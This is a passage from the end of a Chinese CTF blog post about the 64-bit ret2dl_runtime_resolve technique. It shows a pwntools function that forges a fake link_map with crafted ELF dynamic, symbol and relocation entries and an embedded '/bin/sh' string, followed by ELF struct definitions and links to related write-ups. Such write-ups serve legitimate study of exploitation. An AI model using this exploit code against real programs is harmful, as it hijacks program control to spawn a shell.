15     fake_Elf64_Dyn_SYM_addr=p64(fake_link_map_addr+0x8)
16     fake_Elf64_Dyn_JMPREL_addr=p64(fake_link_map_addr+0x18)
17     #fake structure
18     fake_Elf64_Dyn_SYM =p64(0)+p64(st_value-0x8)
19     fake_Elf64_Dyn_JMPREL = p64(0)+p64(fake_link_map_addr+0x28)
20       # JMPREL point to the address of .rel.plt,which will be located in fake_link_map_addr+0x28
21     r_offset = fake_link_map_addr - l_addr
22     fake_Elf64_rela =p64(r_offset)+p64(0x7)+p64(0)
23     #fake_link_map
24     fake_link_map =p64(l_addr&(2**64-1))# 0x8
25     fake_link_map+=fake_Elf64_Dyn_SYM   # 0x18  
26     fake_link_map+=fake_Elf64_Dyn_JMPREL# 0x28
27     fake_link_map+=fake_Elf64_rela      # 0x40
28     fake_link_map+=b"\x00"*0x28         # 0x68
29     fake_link_map+=fake_Elf64_Dyn_STR_addr     # STRTAB pointer,0x70
30     fake_link_map+=fake_Elf64_Dyn_SYM_addr     # SYMTAB pointer,0x78
31     fake_link_map+=b"/bin/sh\x00".ljust(0x80,b'\x00') # 0xf8
32     fake_link_map+=fake_Elf64_Dyn_JMPREL_addr  # JMPREL pointer    
33     return fake_link_map
34 
35 '''
36 typedef struct            
37 {
38     Elf64_Word    st_name;        /* Symbol name (string tbl index) */
39       unsigned char    st_info;   /* Symbol type and binding */        
40       unsigned char st_other;     /* Symbol visibility */              
41       Elf64_Section    st_shndx;  /* Section index */                  
42       Elf64_Addr    st_value;     /* Symbol value */                   
43       Elf64_Xword    st_size;     /* Symbol size */                    
44 }Elf64_Sym;
45 
46 typedef struct           
47 {
48   Elf64_Addr    r_offset;         /* Address */                         
49   Elf64_Xword    r_info;          /* Relocation type and symbol index */
50   Elf64_Sxword    r_addend;       /* Addend */                          
51 }Elf64_Rela;
52 
53 typedef struct          
54 {
55   Elf64_Sxword    d_tag;          /* Dynamic entry type */
56   union
57     {
58       Elf64_Xword d_val;          /* Integer value */
59       Elf64_Addr d_ptr;           /* Address value */
60     } d_un;
61 }Elf64_Dyn;
62 '''      

參考連結;

winmt師傅的 ret2dlresolve 與 改寫got表

raycp師傅的 ret2dl_resolve解析

風沐雲煙師傅的 ret2dl_runtime_resolve

 Bill師傅的 0CTF 2018 BabyStack

ha1vk師傅的 ret2dl-runtime-resolve詳細分析(32位&64位)

weixin_39861669師傅的 cannot resolve symbol r_64位ret2_dl_runtime_resolve模版題以及踩坑記錄

g3n3rous師傅的 [分享]dl_runtime_resolve結合源碼分析及常見的幾種攻擊手法

本文來自部落格園,作者:{狒猩橙},轉載請注明原文連結:https://www.cnblogs.com/pwnfeifei/p/15701859.html